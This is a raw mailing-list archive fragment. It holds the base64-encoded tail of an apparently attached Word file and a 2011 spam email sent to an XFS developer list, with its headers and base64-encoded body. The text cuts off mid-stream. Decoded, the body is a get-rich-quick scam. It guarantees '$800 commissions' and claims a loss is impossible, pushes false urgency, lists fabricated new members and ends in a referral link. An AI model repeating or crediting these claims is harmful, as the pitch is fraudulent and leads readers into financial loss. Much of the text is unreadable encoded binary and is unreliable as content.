AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJ AAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcA AAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAA ACYAAAAnAAAAKAAAACkAAAAqAAAAKwAAACwAAAAtAAAALgAAAC8AAAAwAAAAMQAAADIAAAAzAAAA NAAAADUAAAA2AAAANwAAADgAAAA5AAAAOgAAADsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAEEAAABC AAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAABLAAAATAAAAE0AAABOAAAATwAAAFAA AABRAAAAUgAAAFMAAABUAAAAVQAAAFYAAABXAAAAWAAAAFkAAABaAAAAWwAAAFwAAABdAAAAXgAA AF8AAABgAAAAYQAAAGIAAABjAAAAZAAAAGUAAABmAAAAZwAAAGgAAABpAAAAagAAAGsAAABsAAAA bQAAAG4AAABvAAAAcAAAAHEAAAByAAAAcwAAAHQAAAB1AAAAdgAAAHcAAAB4AAAAeQAAAHoAAAB7 AAAAfAAAAH0AAAB+AAAAfwAAAIAAAACBAAAAggAAAIMAAACEAAAAhQAAAIYAAACHAAAAiAAAAIkA AACKAAAAiwAAAIwAAACNAAAAjgAAAI8AAACQAAAAkQAAAJIAAACTAAAAlAAAAJUAAACWAAAAlwAA AJgAAACZAAAAmgAAAJsAAACcAAAAnQAAAJ4AAACfAAAAoAAAAKEAAACiAAAAowAAAKQAAAClAAAA pgAAAKcAAACoAAAAqQAAAKoAAACrAAAArAAAAK0AAACuAAAArwAAALAAAACxAAAAsgAAALMAAAC0 AAAAtQAAALYAAAC3AAAAuAAAALkAAAC6AAAAuwAAALwAAAC9AAAAvgAAAL8AAADAAAAAwQAAAMIA AADDAAAAxAAAAMUAAADGAAAAxwAAAMgAAADJAAAAygAAAMsAAADMAAAAzQAAAM4AAADPAAAA0AAA ANEAAADSAAAA0wAAANQAAADVAAAA1gAAANcAAADYAAAA2QAAANoAAADbAAAA3AAAAN0AAADeAAAA 3wAAAOAAAADhAAAA4gAAAOMAAADkAAAA5QAAAOYAAADnAAAA6AAAAOkAAADqAAAA6wAAAOwAAADt AAAA7gAAAO8AAADwAAAA8QAAAPIAAADzAAAA9AAAAPUAAAD2AAAA9wAAAPgAAAD5AAAA+gAAAPsA AAD8AAAA/QAAAP4AAAD/AAAAAAEAAAEBAAACAQAAAwEAAAQBAAAFAQAABgEAAAcBAAAIAQAACQEA AAoBAAALAQAADAEAAA0BAAAOAQAADwEAABABAAARAQAAEgEAABMBAAAUAQAAFQEAABYBAAAXAQAA GAEAABkBAAAaAQAAGwEAABwBAAAdAQAAHgEAAB8BAAAgAQAAIQEAACIBAAAjAQAAJAEAACUBAAAm AQAAJwEAACgBAAApAQAAKgEAACsBAAAsAQAALQEAAC4BAAAvAQAAMAEAADEBAAAyAQAAMwEAADQB AAA1AQAANgEAADcBAAA4AQAAOQEAADoBAAA7AQAAPAEAAD0BAAA+AQAAPwEAAEABAABBAQAAQgEA AEMBAABEAQAARQEAAEYBAABHAQAASAEAAEkBAABKAQAASwEAAEwBAABNAQAATgEAAE8BAABQAQAA UQEAAFIBAABTAQAAVAEAAFUBAABWAQAAVwEAAFgBAABZAQAAWgEAAFsBAABcAQAAXQEAAF4BAABf AQAAYAEAAGEBAABiAQAAYwEAAGQBAABlAQAAZgEAAGcBAABoAQAAaQEAAGoBAABrAQAAbAEAAG0B AABuAQAAbwEAAHABAABxAQAAcgEAAHMBAAB0AQAAdQEAAHYBAAB3AQAAeAEAAHkBAAB6AQAAewEA AHwBAAB9AQAAfgEAAH8BAACAAQAAgQEAAIIBAACDAQAAhAEAAIUBAACGAQAAhwEAAIgBAACJAQAA igEAAIsBAACMAQAAjQEAAI4BAACPAQAAkAEAAJEBAACSAQAAkwEAAJQBAACVAQAAlgEAAJcBAACY AQAAmQEAAJoBAACbAQAAnAEAAJ0BAACeAQAAnwEAAKABAAChAQAAogEAAKMBAACkAQAApQEAAKYB AACnAQAAqAEAAKkBAACqAQAAqwEAAKwBAACtAQAArgEAAK8BAACwAQAAsQEAALIBAACzAQAAtAEA ALUBAAC2AQAAtwEAALgBAAC5AQAAugEAALsBAAC8AQAAvQEAAL4BAAC/AQAAwAEAAMEBAADCAQAA wwEAAMQBAADFAQAAxgEAAMcBAADIAQAAyQEAAMoBAADLAQAAzAEAAM0BAADOAQAAzwEAANABAADR AQAA0gEAANMBAADUAQAA1QEAANYBAADXAQAA2AEAANkBAADaAQAA2wEAANwBAADdAQAA3gEAAN8B AADgAQAA4QEAAOIBAADjAQAA5AEAAOUBAADmAQAA5wEAAOgBAADpAQAA6gEAAOsBAADsAQAA7QEA AO4BAADvAQAA8AEAAPEBAADyAQAA8wEAAPQBAAD1AQAA9gEAAPcBAAD4AQAA+QEAAPoBAAD7AQAA /AEAAP0BAAD+AQAA/wEAAAACAAABAgAAAgIAAAMCAAAEAgAABQIAAAYCAAAHAgAACAIAAAkCAAAK AgAACwIAAAwCAAANAgAADgIAAA8CAAAQAgAAEQIAABICAAATAgAAFAIAABUCAAAWAgAAFwIAABgC AAAZAgAAGgIAABsCAAAcAgAAHQIAAB4CAAAfAgAAIAIAACECAAAiAgAAIwIAACQCAAAlAgAAJgIA ACcCAAAoAgAAKQIAACoCAAArAgAALAIAAC0CAAAuAgAALwIAADACAAAxAgAAMgIAADMCAAA0AgAA NQIAADYCAAA3AgAAOAIAADkCAAA6AgAAOwIAADwCAAA9AgAAPgIAAD8CAABAAgAAQQIAAEICAABD AgAARAIAAEUCAABGAgAARwIAAEgCAABJAgAASgIAAEsCAABMAgAATQIAAE4CAABPAgAAUAIAAFEC AABSAgAAUwIAAFQCAABVAgAAVgIAAFcCAABYAgAAWQIAAFoCAABbAgAAXAIAAF0CAABeAgAAXwIA AGACAABhAgAAYgIAAGMCAABkAgAAZQIAAGYCAABnAgAAaAIAAGkCAABqAgAAawIAAGwCAABtAgAA bgIAAG8CAABwAgAAcQIAAHICAABzAgAAdAIAAHUCAAB2AgAAdwIAAHgCAAB5AgAAegIAAHsCAAB8 AgAAfQIAAH4CAAB/AgAAgAIAAIECAACCAgAAgwIAAIQCAACFAgAAhgIAAIcCAACIAgAAiQIAAIoC AACLAgAAjAIAAI0CAACOAgAAjwIAAJACAACRAgAAkgIAAJMCAACUAgAAlQIAAJYCAACXAgAAmAIA AJkCAACaAgAAmwIAAJwCAACdAgAAngIAAJ8CAACgAgAAoQIAAKICAACjAgAApAIAAKUCAACmAgAA pwIAAKgCAACpAgAAqgIAAKsCAACsAgAArQIAAK4CAACvAgAAsAIAALECAACyAgAAswIAALQCAAC1 AgAAtgIAALcCAAC4AgAAuQIAALoCAAC7AgAAvAIAAL0CAAC+AgAAvwIAAMACAADBAgAAwgIAAMMC AADEAgAAxQIAAMYCAADHAgAAyAIAAMkCAADKAgAAywIAAMwCAADNAgAAzgIAAM8CAADQAgAA0QIA ANICAADTAgAA1AIAANUCAADWAgAA1wIAANgCAADZAgAA2gIAANsCAADcAgAA3QIAAN4CAADfAgAA 4AIAAOECAADiAgAA4wIAAOQCAADlAgAA5gIAAOcCAADoAgAA6QIAAOoCAADrAgAA7AIAAO0CAADu AgAA7wIAAPACAADxAgAA8gIAAPMCAAD0AgAA9QIAAPYCAAD3AgAA+AIAAPkCAAD6AgAA+wIAAPwC AAD9AgAA/gIAAP8CAAAAAwAAAQMAAAIDAAADAwAABAMAAAUDAAAGAwAABwMAAAgDAAAJAwAACgMA AAsDAAAMAwAADQMAAA4DAAAPAwAAEAMAABEDAAASAwAAEwMAABQDAAAVAwAAFgMAABcDAAAYAwAA GQMAABoDAAAbAwAAHAMAAB0DAAAeAwAAHwMAACADAAAhAwAAIgMAACMDAAAkAwAAJQMAACYDAAAn AwAAKAMAACkDAAAqAwAAKwMAACwDAAAtAwAALgMAAC8DAAAwAwAAMQMAADIDAAAzAwAANAMAADUD AAA2AwAANwMAADgDAAA5AwAAOgMAADsDAAA8AwAAPQMAAD4DAAA/AwAAQAMAAEEDAABCAwAAQwMA AEQDAABFAwAARgMAAEcDAABIAwAASQMAAEoDAABLAwAATAMAAE0DAABOAwAATwMAAFADAABRAwAA UgMAAFMDAABUAwAAVQMAAFYDAABXAwAAWAMAAFkDAABaAwAAWwMAAFwDAABdAwAAXgMAAF8DAABg AwAAYQMAAGIDAABjAwAAZAMAAGUDAABmAwAAZwMAAGgDAABpAwAAagMAAGsDAABsAwAAbQMAAG4D AABvAwAAcAMAAHEDAAByAwAAcwMAAHQDAAB1AwAAdgMAAHcDAAB4AwAAeQMAAHoDAAB7AwAAfAMA AH0DAAB+AwAAfwMAAIADAACBAwAAggMAAIMDAACEAwAAhQMAAIYDAACHAwAAiAMAAIkDAACKAwAA iwMAAIwDAACNAwAAjgMAAI8DAACQAwAAkQMAAJIDAACTAwAAlAMAAJUDAACWAwAAlwMAAJgDAACZ AwAAmgMAAJsDAACcAwAAnQMAAJ4DAACfAwAAoAMAAKEDAACiAwAAowMAAKQDAAClAwAApgMAAKcD AACoAwAAqQMAAKoDAACrAwAArAMAAK0DAACuAwAArwMAALADAACxAwAAsgMAALMDAAC0AwAAtQMA ALYDAAC3AwAAuAMAALkDAAC6AwAAuwMAALwDAAC9AwAAvgMAAL8DAADAAwAAwQMAAMIDAADDAwAA xAMAAMUDAADGAwAAxwMAAMgDAADJAwAAygMAAMsDAADMAwAAzQMAAM4DAADPAwAA0AMAANEDAADS AwAA0wMAANQDAADVAwAA1gMAANcDAADYAwAA2QMAANoDAADbAwAA3AMAAN0DAADeAwAA3wMAAOAD AADhAwAA4gMAAOMDAADkAwAA5QMAAOYDAADnAwAA6AMAAOkDAADqAwAA6wMAAOwDAADtAwAA7gMA AO8DAADwAwAA8QMAAPIDAADzAwAA9AMAAPUDAAD2AwAA9wMAAPgDAAD5AwAA+gMAAPsDAAD8AwAA /QMAAP4DAAD/AwAAAAQAAAEEAAACBAAAAwQAAAQEAAAFBAAABgQAAAcEAAAIBAAACQQAAAoEAAAL BAAADAQAAA0EAAAOBAAADwQAABAEAAARBAAAEgQAABMEAAAUBAAAFQQAABYEAAAXBAAAGAQAABkE AAAaBAAAGwQAABwEAAAdBAAAHgQAAB8EAAAgBAAAIQQAACIEAAAjBAAAJAQAACUEAAAmBAAAJwQA ACgEAAApBAAAKgQAACsEAAAsBAAALQQAAC4EAAAvBAAAMAQAADEEAAAyBAAAMwQAADQEAAA1BAAA NgQAADcEAAA4BAAAOQQAADoEAAA7BAAAPAQAAD0EAAA+BAAAPwQAAEAEAABBBAAAQgQAAEMEAABE BAAARQQAAEYEAABHBAAASAQAAEkEAABKBAAASwQAAEwEAABNBAAATgQAAE8EAABQBAAAUQQAAFIE AABTBAAAVAQAAFUEAABWBAAAVwQAAFgEAABZBAAAWgQAAFsEAABcBAAAXQQAAF4EAABfBAAAYAQA AGEEAABiBAAAYwQAAGQEAABlBAAAZgQAAGcEAABoBAAAaQQAAGoEAABrBAAAbAQAAG0EAABuBAAA bwQAAHAEAABxBAAAcgQAAHMEAAB0BAAAdQQAAHYEAAB3BAAAeAQAAHkEAAB6BAAAewQAAHwEAAB9 BAAAfgQAAH8EAACABAAAgQQAAIIEAACDBAAAhAQAAIUEAACGBAAAhwQAAIgEAACJBAAAigQAAIsE AACMBAAAjQQAAI4EAACPBAAAkAQAAJEEAACSBAAAkwQAAJQEAACVBAAAlgQAAJcEAACYBAAAmQQA AJoEAACbBAAAnAQAAJ0EAACeBAAAnwQAAKAEAAChBAAAogQAAKMEAACkBAAApQQAAKYEAACnBAAA qAQAAKkEAACqBAAAqwQAAKwEAACtBAAArgQAAK8EAACwBAAAsQQAALIEAACzBAAAtAQAALUEAAC2 BAAAtwQAALgEAAC5BAAAugQAALsEAAC8BAAAvQQAAL4EAAC/BAAAwAQAAMEEAADCBAAAwwQAAMQE AADFBAAAxgQAAMcEAADIBAAAyQQAAMoEAADLBAAAzAQAAM0EAADOBAAAzwQAANAEAADRBAAA0gQA ANMEAADUBAAA1QQAANYEAADXBAAA2AQAANkEAADaBAAA2wQAANwEAADdBAAA3gQAAN8EAADgBAAA 4QQAAOIEAADjBAAA5AQAAOUEAADmBAAA5wQAAOgEAADpBAAA6gQAAOsEAADsBAAA7QQAAO4EAADv BAAA8AQAAPEEAADyBAAA8wQAAPQEAAD1BAAA9gQAAPcEAAD4BAAA+QQAAPoEAAD7BAAA/AQAAP0E AAD+BAAA/wQAAAAFAAABBQAAAgUAAAMFAAD+////BQUAAAYFAAAHBQAACAUAAAkFAAAKBQAACwUA AAwFAAANBQAADgUAAP7///8QBQAAEQUAABIFAAATBQAAFAUAABUFAAAWBQAAFwUAABgFAAAZBQAA GgUAABsFAAAcBQAAHQUAAB4FAAAfBQAAIAUAACEFAAAiBQAAIwUAACQFAAAlBQAAJgUAACcFAAAo BQAAKQUAACoFAAArBQAALAUAAC0FAAAuBQAALwUAADAFAAAxBQAAMgUAADMFAAA0BQAANQUAADYF AAA3BQAAOAUAADkFAAA6BQAAOwUAADwFAAA9BQAAPgUAAD8FAABABQAAQQUAAEIFAABDBQAARAUA AEUFAABGBQAARwUAAEgFAABJBQAASgUAAEsFAABMBQAATQUAAE4FAABPBQAAUAUAAFEFAABSBQAA UwUAAFQFAABVBQAAVgUAAFcFAABYBQAAWQUAAFoFAABbBQAAXAUAAF0FAABeBQAAXwUAAGAFAABh BQAAYgUAAGMFAABkBQAAZQUAAGYFAABnBQAA/v///2kFAABqBQAAawUAAGwFAABtBQAAbgUAAG8F AAD+////cQUAAHIFAABzBQAAdAUAAHUFAAB2BQAAdwUAAP7////9/////f////3////9/////f// //3////9/////f////3////9/////f////3///+FBQAA/v////7////+//////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAAAA AAAAAAAAsEjQIx7rywGHBQAAgAAAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf///////////////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQFAABMFAAAAAAAADEAVABhAGIAbABlAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIBAQAAAAYA AAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwUAAMSwAAAAAAAAVwBv AHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAABoAAgECAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA6QYKAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAGgFAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkA SQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAUAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///////// //////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAD+//////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARh8AAABNaWNyb3NvZnQgT2ZmaWNl IFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA= --=_0f223fce1d07f069277a4c00cbb23ca6-- From newsmanager@claflin.edu Sun Mar 27 08:19:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=BAYES_50,J_CHICKENPOX_42, J_CHICKENPOX_43,J_CHICKENPOX_61,J_CHICKENPOX_74 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2RDJGvq121558 for ; Sun, 27 Mar 2011 08:19:17 -0500 X-ASG-Debug-ID: 1301232143-6a3100a50000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from msx.claflin.edu (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9926D15A1996 for ; Sun, 27 Mar 2011 06:22:24 -0700 (PDT) Received: from msx.claflin.edu (msx.claflin.edu [65.83.118.39]) by cuda.sgi.com with ESMTP id rtPdQ06xXUXUHzG1 for ; Sun, 27 Mar 2011 06:22:24 -0700 (PDT) Received: from claflin-web (10.5.1.5) by cu-exchange.claflin.edu (10.10.20.31) with Microsoft SMTP Server id 8.1.436.0; Sun, 27 Mar 2011 09:22:22 -0400 MIME-Version: 1.0 From: "WealthMiners@gmail.com.com" To: xfs@oss.sgi.com Date: Sun, 27 Mar 2011 09:22:22 -0400 X-ASG-Orig-Subj: Article sent from Claflin News Manager Subject: Article sent from Claflin News Manager Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 Message-ID: X-Barracuda-Connect: msx.claflin.edu[65.83.118.39] X-Barracuda-Start-Time: 1301232144 X-Barracuda-Bayes: INNOCENT GLOBAL 0.4487 1.0000 0.0000 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59120 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean IA0KSGVsbG8gRnJpZW5kLA0KDQpZb3VyIFdlYWx0aCBNaW5lcnMgU291cmNlIENhcGl0YWwh IFlvdSBDYW4gRWFybiBXaGlsZSBZb3UgU2xlZXAhISENCg0KSG93IENvdWxkIFlvdSBJbWFn aW5lIFRvIFNlbmQgWW91ciBBZHMgVG8gTW9yZSBUaGFuIDkwMCBNaWxsaW9uIEV2ZXJ5ZGF5 IEp1c3QgYSBGZXcgDQpDbGljayBvZiBZb3VyIE1vdXNlIEh1cnJ5IFRoaXMgTGltaXRlZCBI b3QgQnVzaW5lc3MgaW4gMjAxMSBGaXJzdCBDb21lIEZpcnN0IFNlcnZlLi4uDQoNCkNvbmdy YXR1bGF0aW9uczogR2V0IFlvdXIgRWFzeSAkODAwIEhvdCBDb21taXNzaW9ucyBOb3chISEN Cg0KSXQncyBTbyBTaW1wbGUgVGhhdCBFdmVuIEEgVGVuIFllYXIgT2xkIENvdWxkIExlYXJu IFRoaXMgSW4gVW5kZXIgMSBIb3VyISIiSXQgRG9lc24ndA0KTWF0dGVyIFdoZXJlIEluIFRo ZSBXb3JsZCBZb3UgQXJlIElmIFlvdSBIYXZlIEFuIEludGVybmV0IENvbm5lY3Rpb24gJiBB IFBDIFlvdSANCkNhbiBFYXJuIFRoZSAkODAwIEZvciBKdXN0IEEgRmV3IE1pbnV0ZXMgT2Yg Q2xpY2tpbmcgQSBNb3VzZSAiDQoNCkltYWdpbmUgd2FraW5nIHVwIGF0IDEwYW0gaW4gdGhl IG1vcm5pbmcsIGhhdmluZyBhIHF1aWNrIGxvb2sgYXQgeW91ciBQQyBhbmQgICAgICANCmZp bmRpbmcgIHRoZSBleGFjdCBpbmZvcm1hdGlvbiB5b3UgbmVlZCB0byBjb2xsZWN0IGEgcXVp Y2sgJDMwMCBieSBsdW5jaHRpbWUuIA0KWW91IGNvdWxkIHRha2UgIHRoZSBhZnRlcm5vb24g b2ZmLCBwbGF5IHNvbWUgZ29sZiwgZ28gc2hvcHBpbmcgb3Igc3BlbmQgc29tZSAgDQpxdWFs aXR5IHRpbWUgd2l0aCB0aGUgZmFtaWx5LiBUaGVuIGRvIHRoZSBzYW1lIHRoaW5nIGFnYWlu IGluIHRoZSBldmVuaW5nLCANCldoYXQgYSB3b25kZXJmdWwgY29uY2VwdCBhbmQgeW91IGNv dWxkIGJlIGRvaW5nIGl0IHRvZGF5LiANCg0KRXZlbiBkdXJpbmcgdGhlIGJvb20geWVhcnMg aW4gYW55IGVjb25vbXkgaXQncyBub3QgcG9zc2libGUgdG8gZmluZCBhIGZvcm0gDQpvZiBm cmVlIGluY29tZSwgQlVUIFRISVMgSVMgRVhBQ1RMWSBUSEFUISBhbmQgaXQgd2lsbCBtYWtl IHlvdSBmcmVlIG1vbmV5IGZvciAgIA0KdGhlIHJlc3Qgb2YgeW91ciBsaWZlLlRoaXMgSXMg Tm90IEdhbWJsaW5nLlRoaXMgSXMgTm90IFRyYWRpbmcuVGhpcyBJcyBOb3QgRXZlbiANCklu dmVzdGluZy5CZWNhdXNlIEl0J3MgSW1wb3NzaWJsZSBUaGF0IFlvdSBDYW4gTWFrZSBBIExv c3MsSXQgSXMgQSBNYXRoZW1hdGljYWwgDQpDZXJ0YWludHkgIFRoYXQgWW91IENhbiBVc2Ug VG8gTWFrZSBGcmVlIE1vbmV5IEZvciBUaGUgUmVzdCBPZiBZb3VyIExpZmUuDQogDQpJdCdz IEVhc3kgVG8gTWFrZSBNb25leSBFdmVyeWRheSBFdmVuIElmIFlvdSdyZSBTdGFydGluZyBG cm9tIFNjcmF0Y2ggV2l0aA0KWmVybyBLbm93bGVkZ2UsIEV4cGVyaWVuY2UgT3IgQnVkZ2V0 IUknbGwgU2hvdyBZb3UgRXhhY3RseSBIb3cuDQoNCldlJ3ZlIFN0YXJ0IHB1dHRpbmcgTmV3 IDMyIE1lbWJlcnMgaW4gWU9VUiBURUFNIGZvciB0aGUgTWFyY2ggMjQgdGgtMzEvIDIwMTEN CndlZWtseSBjb21taXNzaW9uIGN5Y2xlLi4uYW5kIEdST1dJTkcgZXZlcnlkYXkgZWFybiBi eSAkMTAwIHVwIHRvICQyMDAgb3IgbW9yZS4NCg0KSU1QT1JUQU5UOkFkdmFuY2UgRG9uJ3Qg ZGVsYXkgb24gTWFyY2ggMzEvIDIwMTEsaXMgdGhlIEN1dC1PZmYgZGF5IHRvIGxvY2sgIA0K aW4geW91ciBwb3NpdGlvbiB0aGVuIGZhc3RlciB5b3UgYWN0IHRoZSBoaWdoZXIgY29tbWlz c2lvbiB5b3UgIHdpbGwgZWFybiEhIQ0KDQpHbyBIZXJlIFRvIFNlY3VyZSBub3QgbGVzcyB0 aGFuICQ4MDAgY29tbWlzc2lvbiBOb3cgYW5kIGl0IHN0aWxsIGdyb3dpbmcgYXMgIA0KbWFu eSBwZW9wbGUgam9pbmluZyB1bmRlciB5b3UuIGlmIHlvdSBzZWN1cmUgeW91ciBwb3NpdGlv biByaWdodCBhd2F5OlRoZSAkODAwDQpDb21taXNzaW9uIHdpbGwgQXJyaXZlIFRocm91Z2gg eW91ciBQYXlwYWwgb3IgQ3JlZGl0IENhcmQgb24gQXByaWwvMjAvMjAxMS4uLkh1cnJ5ICAN CnRoaXMgbGltaXRlZCB0aW1lLCBvbmx5IDMgUG9zaXRpb25zIGFyZSBhdmFpbGFibGUgTm93 Lg0KDQpPbmNlIHlvdXIgTWVtYmVyc2hpcCBhcmUgc2V0IHVwLCB5b3Ugd2lsbCBiZSBhYmxl IHRvIGVhcm4gJDgwMCBpbiBsZXNzIHRoYW4gDQoyIGhvdXJzIGEgZGF5Lkkgd2lsbCBzaG93 IHlvdSBob3cgd2UgZG8gdGhhdCBhbmQgdGhlbiBJIHdpbGwgaGVscCB5b3UgdGhyb3VnaCAN CnRoZSBwcm9jZXNzIHNvIHRoYXQgWU9VIFNVQ0NFRUQhIEFuZCBFbmpveSEhISANCg0KWW91 IHdpbGwgYWNjZXNzIHlvdXIgJDgwMCBpbiBhbnkgQVRNIHdoZW4geW91IEpvaW4gZWFybHkg b3VyIHdlZWtseSBjeWNsZS4NCg0KQ2xpY2sgQmVsb3chISFBbmQgSm9pbiBSaWdodCBOb3cu Lg0KDQpodHRwczovL3d3dy5wbGltdXMuY29tL2pzcC9yZWRpcmVjdC5qc3A/Y29udHJhY3RJ ZD0yNzU3MDY2JnJlZmVycmVyPWtpbWF5DQoNCj4+Pj4+IFRoaXMgU25hcHNob3RzIGlzIFBy b3ZlbiBFYXJuIFdoZW4gWW91IEpvaW4gRWFybHkgPDw8PDw8PDwNCg0KVFlQRSAgIERBVEUg JiBUSU1FIC0tLS0tLS0gTkVXIE1FTUJFUlMgLS0tLS0tLS0tLS0tLS0gQ09VTlRSWQ0KDQpQ IC0tLSBNQVJDSC4gMjYgQCAyOjM4ICBBTS0tIFNhcnJhaCBHcmFudC0tLS0tLS0tLS0tLSBV bml0ZWQgU3RhdGVzDQpQIC0tLSBNQVJDSC4gMjYgQCAyOjUzICBBTS0tIEFuZHkgV2lsbGlh 